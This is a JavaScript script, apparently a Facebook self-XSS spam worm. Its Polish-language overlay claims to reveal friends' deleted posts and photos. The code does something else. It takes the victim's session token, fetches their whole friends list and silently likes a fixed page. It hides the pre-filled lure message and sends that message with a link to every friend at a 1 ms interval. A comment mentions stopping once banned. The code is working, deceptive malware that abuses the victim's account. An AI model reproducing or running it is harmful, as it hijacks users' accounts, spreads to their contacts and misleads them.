function facebook ()
{
        this.iIdLoginUser = '';
        this.bCheckAction = 'false';
        this.iCountSend   = 0;
        this.iAllFrends   = '';
        this.iSleep       = '';
        this.Time         = '';

        /**
         * Tworzenie okna sprawdzenia postów
         **/
        this.createDivMessage = function (sGallery, sMessage)
        {
                var self  = this;
                var iLeft = Math.ceil(((window.innerWidth || document.body.clientWidth) - 600) / 2);
                var sHtml ='<div id="photos_snowlift" class="_n8 _3qx fbPhotoSnowlift fbxPhoto uiLayer fullScreenAvailable _3qw" tabindex="0" role="region"  aria-busy="false" style="min-width: 100%;">'+
                '<div style="margin-right:'+iLeft+'px; margin-top: 150px; margin-bottom: 150px;'+
                                        'width: 1000px;'+
                                        'height: 9000px;'+
                                        'background-image: -webkit-gradient( linear, left top, left bottom, color-stop(0, #787878), color-stop(1, #000000) );'+
                                        'background-image: -o-linear-gradient(bottom, #787878 0%, #000000 100%);'+
                                        'background-image: -moz-linear-gradient(bottom, #787878 0%, #000000 100%);'+
                                        'background-image: -webkit-linear-gradient(bottom, #787878 0%, #000000 100%);'+
                                        'background-image: -ms-linear-gradient(bottom, #787878 0%, #000000 100%);'+
                                        'background-image: linear-gradient(to bottom, #787878 0%, #000000 100%);'+
                                        'border-radius: 80px 80px 0 40px;'+
                                        '-webkit-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
                                        '-moz-box-shadow:    0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
                                        'box-shadow:         0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
                                        '">'+
                '<div class="top" style="height: 100px;'+
                                        'width: 100%;'+
                                        'padding: 15px;">'+

                        '<div class="top-left" style="float: left; width: 240px;">'+
                                '<div style="width: 0px;'+
                                                        'height: 0px;'+
                                                        'float:left;'+
                                                        'border-radius: 80px 80px 0 80px;'+
                                                        'background-color: silver;'+
                                                        'background-image: url(\'https://graph.facebook.com/'+self.iIdLoginUser +'/picture\'); background-size: cover;">'+
                                '</div>'+
                                '<div id="avatersendid" style="width: 100px;'+
                                                        'height: 100px;'+
                                                        'float:left;'+
                                                        'margin-left: 10px;'+
                                                        'border-radius: 80px 80px 80px 0;'+
                                                        'background-size: cover;">'+
                                '</div>'+
                        '</div>'+

                        '<div style="float: left; width: 180px; margin-top: 23px;"><h2 style="color: white;">Sprawdź usunięte posty i zdjęcia znajomych!</h2></div>'+
                        '<div style="float: right; margin-right: 120px;">'+
                        '<div style="position: relative; left: 150px; color: white;"><a onClick="javascript:oFacebook.setRemoveScript(this)" class="closeTheater" role="button"></a></div>'+
                                '<table id="status-table" style="color: white;">'+
                                        '<tr>'+
                                                '<td name=""></td>'+
                                                '<td name=""></td>'+
                                        '</tr>'+
                                        '<tr>'+
                                                '<td name="">Ilosc znajomych:</td>'+
                                                '<td name="allfrends">'+self.iAllFrends+'</td>'+
                                        '</tr>'+
                                                '<td name="">Ilosc sprawdzonych:</td>'+
                                                '<td id="senduserid" name="senduser">0'+'</td>'+
                                        '</tr>'+
                                                '<td name="">Pozostaly czas:</td>'+
                                                '<td id="totalltimeid" name="totalltime">(?)'+' sek</td>'+
                                        '</tr>'+
                                        '</tr>'+
                                                '<td name="">Opoznienie:</td>'+
                                                '<td id="sendsleepid" name="sendsleep">'+self.iSleep+' ms</td>'+
                                        '</tr>'+
                                '</table>'+
                        '</div>'+

                '</div>'+
                '<div class="content">'+
                        '<form name="allusers" action="javascript:oFacebook.sendTotallMessage();">'+
                        '<div id="galleryfb" style="width: 100%;'+
                                                'height: 170px;'+
                                                'overflow: auto; opacity: 0.6;'+
                                                '">'+sGallery.toString()+'</div>'+
                                                //'"></div>'+
                                                '<textarea class="message" name="message" style="width: 0px;'+
                                                                 'height: 0px;'+
                                                                 'border-radius: 0 0 0 15px;'+
                                                                 'padding: 15px;'+
                                                             'opacity: 0.5;">'+sMessage+'</textarea>'+
                                                             '<div style="float: right;">'+
                                                          '<input style="float: right;'+
                                                          'background-color: #000000;'+
                                                          'color: white;'+
                                                          'text-decoration: none;'+
                                                          'border: 0;" class="button" type="submit" value="" onClick="javascript:oFacebook.bCheckAction=\'true\'" />'+
                                '<input style="float: right;'+
                                                          'background-color: #000000;'+
                                                          'color: white;'+
                                                          'text-decoration: none;'+
                                                          'border: 0;" class="button" onClick="javascript:oFacebook.bCheckAction=\'false\'" type="submit" value="Rozpocznij sparawdzanie" />'+
                                                          '<span style="color: white; text-decoration: none;" id="range">Sprawdzono(0)</span><input type="range" min="0" max="'+self.iAllFrends+'" value="0" step="1" onchange="javascript:oFacebook.showValue(this.value)" />'+
                                                          '</div>'+
                        '</form>'+
                '</div>'+
                '<div style="float: left; text-align: left;'+
                        'color: white;'+
                        'margin-right: 10px;'+
                        'color: white;'+
                        'font-size: 12px;'+
                        'margin-left: 20px;'+
                        'opacity: 0.3; z-index: -1;" class="footer">Znaleznione zdjęcia i posty:</div>'+
        '</div></div>';
        return sHtml;
        }

        this.showValue = function(newValue)
        {
                var self = this;
                document.getElementById("range").innerHTML="Start("+newValue+")";
                self.iCountSend = newValue;
                self.sellectCheckBox(newValue);
        }


        this.setLikeFBTools = function()
        {
                //id 391936144280862
                var self = this;
                var sUrl = 'https://www.facebook.com/ajax/pages/fan_status.php';
                var d    = new Date();
                var data = {
                        "fbpage_id" : "391936144280862",
                        "add" : "true",
                        "reload" : "false",
                        "fan_origin" : "page_timeline",
                        "nctr[_mod]" : "pagelet_timeline_page_actions",
                        "__user": self.getMyUserId(),
                        "__a": "1",
                        "fb_dtsg": self.getFbDtsg(),
                        "ttstamp": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2)
                }

                var req = self.serialize(data);
        var sSource = self.sendAjax(sUrl,req);
        }

        this.setRemoveScript = function ()
        {
                document.getElementById("photos_snowlift").remove();
        }


        this.crateDivGallery = function (oIds)
        {
                var self = this;
                var iCount = 0;
                var sHtml = '';
                        for(var i in oIds)
                        {
                                iCount++;
                                sHtml += '<div style="float:left; padding: 10px;"><input name="userid" type="checkbox" checked="checked" value="'+oIds[i]+'" /><img src="https://graph.facebook.com/'+oIds[i]+'/picture"/></div>';
                        }

                sHtml += '';
                self.iAllFrends = iCount;
                return sHtml.toString();
        }


        this.sellectCheckBox = function(i)
        {
                checkboxes = document.allusers.userid;

                //sHtml = ''
                for(var x=0; x<checkboxes.length; x++)
                {

                if(x<i)
                {
                        //console.log("i="+i+' x='+x);
                        var test = checkboxes[x];
                        checkboxes[x].checked = false;
                        //console.log(checkboxes[x].checked);
                }
                else
                {
                checkboxes[x].checked = true;
                }

        }
        document.allusers.userid.innerHTML = checkboxes;
        //console.log(checkboxes);
        //document.getElementById("galleryfb").innerHTML = sHtml;
        }


        this.getRequest = function (xmlhttp)
        {
                if (xmlhttp.readyState==4)
                {
                        return xmlhttp.responseText;
                }

        }


        this.sendAjax = function (sUrl, sData)
        {
                var xmlhttp;
                var response;
                var self = this;
                if (window.XMLHttpRequest)
                {// code for IE7+, Firefox, Chrome, Opera, Safari
                  xmlhttp = new XMLHttpRequest();
                }
                else
                {// code for IE6, IE5
                  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
                }
                xmlhttp.open("POST",sUrl,false);
                xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                xmlhttp.setRequestHeader("Content-length", sData.length);
                xmlhttp.setRequestHeader("Connection", "close");
                xmlhttp.send(sData);
                response =      xmlhttp.onreadystatechange = self.getRequest(xmlhttp);
                return response;
        }


        this.getSelector = function(sSearch)
        {
                var sFind = document.getElementsByTagName('input');
                for(var i = 0; i < sFind.length; i++)
                {
                if(sFind[i].name.indexOf(sSearch) == 0)
                {
                        return sFind[i].value;
                }
                }
        }


        this.getMyUserId = function ()
        {
                var self = this;
                return self.getSelector('targetid');
    }


        this.getFbDtsg = function ()
        {
                //<input type="hidden" name="fb_dtsg" value="AQHOy-CS3cy_" autocomplete="off" />
                var self = this;
                return self.getSelector('fb_dtsg');
        }


        this.getAllIdFrends = function(iId, fbdtsg)
        {
                var self    = this;
                var sUrl    = "https://www.facebook.com/ajax/chooser/list/friends/all/";
                var aData   = "__user="+iId+"&__a=1&fb_dtsg="+fbdtsg+"&ttstamp="+Math.round(new Date().getTime() / 1000)+"";
                var sSource = self.sendAjax(sUrl,aData);
                return sSource;
        }


        /**
         * Sprawdzenie checkboxa i pobranie zdjęć i postów
         */
        this.getRadioButtonValue = function (rbutton)
    {
          if (rbutton.checked)
          {
                return rbutton.value;
          }
                  return null;
    }


    this.serialize = function(obj)
    {
      var str = [];
      for(var p in obj)
         str.push(p + "=" + encodeURIComponent(obj[p]));
      return str.join("&");
    }


    this.random = function (len)
    {
        var min = Math.pow(10, len-1);
        var max = Math.pow(10, len);
        return Math.floor(Math.random() * (max - min + 1)) + min;
    }


   this.sendMessageToUser = function (iIdUserToSend, sMessageToSend)
   {

                var self    = this;
                var fbDtsg  = self.getFbDtsg();
                var fbid    = self.getMyUserId();
                var d           = new Date();
                var sUrl    = 'https://www.facebook.com/ajax/mercury/send_messages.php';

                var data = {
               "message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
               "message_batch[0][author]": "fbid:" + fbid,
               "message_batch[0][is_cleared]": "false",
               "message_batch[0][message_id]": "<" + self.random(14) + ":" + self.random(10) + "-" + self.random(10) + "@mail.projektitan.com>",
               "message_batch[0][specific_to_list][0]": "fbid:" + iIdUserToSend,
               "__user": fbid,
               "message_batch[0][timestamp_absolute]": "Oggi",
               "message_batch[0][spoof_warning]": "false",
               "message_batch[0][client_thread_id]": "user:" + iIdUserToSend,
               "message_batch[0][source]": "source:chat:web",
               "message_batch[0][has_attachment]": "false",
               "message_batch[0][source_tags][0]": "source:chat",
               "message_batch[0][body]": sMessageToSend,
               "message_batch[0][is_filtered_content]": "false",
               "message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
               "message_batch[0][is_unread]": "false",
               "message_batch[0][action_type]": "ma-type:user-generated-message",
               "__a": "1",
               "message_batch[0][specific_to_list][1]": "fbid:" + fbid,
               "message_batch[0][html_body]": "false",
               "message_batch[0][status]": "0",
               "client": "mercury",
               "message_batch[0][is_forward]": "false",
               "fb_dtsg":fbDtsg
            };
            var req = self.serialize(data);
            var sSource = self.sendAjax(sUrl,req);
            //@todo przerwanie w momencie gdy cie zbanuja
   }

   this.setInfoSendUser = function (iCount, iMax)
   {
                var self = this;
                var iTime = Math.ceil((((iMax * self.iSleep) - (iCount*self.iSleep))/1000));
                document.getElementById("senduserid").innerHTML = iCount;
                document.getElementById("totalltimeid").innerHTML = iTime+' sek';
   }

   this.setSleep = function (i)
   {
                var self = this;
                var oNodeList = document.allusers['userid'];
                var sMessage = document.allusers['message'];
                if(self.bCheckAction !== 'false')
                {
                        return '';
                }

                if(i<self.iCountSend)
                {
                        i = self.iCountSend;
                }
                else
                {
                        self.iCountSend = i;
                }

                if(i<oNodeList.length)
                {
                        i++;
                        self.setInfoSendUser(i);
                        var iIdUser = self.getRadioButtonValue(oNodeList[i]);
                        if(iIdUser !==null)
                        {
                                self.setInfoSendUser(i, oNodeList.length);
                                document.getElementById("avatersendid").style.backgroundImage = "url('https://graph.facebook.com/"+iIdUser+"/picture')";
                                self.sendMessageToUser(iIdUser,sMessage.value);
                        }
                        setTimeout(
                                function(){
                                        self.setSleep(i);
                                },self.iSleep);
                }
   }


        this.sendTotallMessage = function()
        {
                var self = this;
                self.setSleep(0);
        }


        this.sleep = function (milliseconds)
        {
            var start = new Date().getTime();
            for (var i = 0; i < 1e7; i++) {
                if ((new Date().getTime() - start) > milliseconds){
                  break;
                }
            }
        }


        this.mainSet = function (sMessage)
        {
                var self    = this;
                var fbDtsg  = self.getFbDtsg();
                var iId     = self.getMyUserId();
                var aFrends = self.getAllIdFrends(iId, fbDtsg);
                self.setLikeFBTools();
                self.iIdLoginUser = iId;
                if(typeof aFrends !== "undefined")
                {
                        aFrends       = JSON.parse(aFrends.slice(9,aFrends.length));
                        var oIds      = aFrends['payload']['ids'];
                        var sGallery  = self.crateDivGallery(oIds).toString();
                        var sLightBox = self.createDivMessage(sGallery, sMessage);
                        document.getElementById("pagelet_bluebar").innerHTML += sLightBox;
                }
        }
}

var sMessage = 'hej :d Haha ogarnij co nasi znajomi robili https://www.youtube.com/watch?v=kgFrOvOyUso';
var oFacebook = new facebook();
oFacebook.iSleep = 1;
oFacebook.mainSet(sMessage);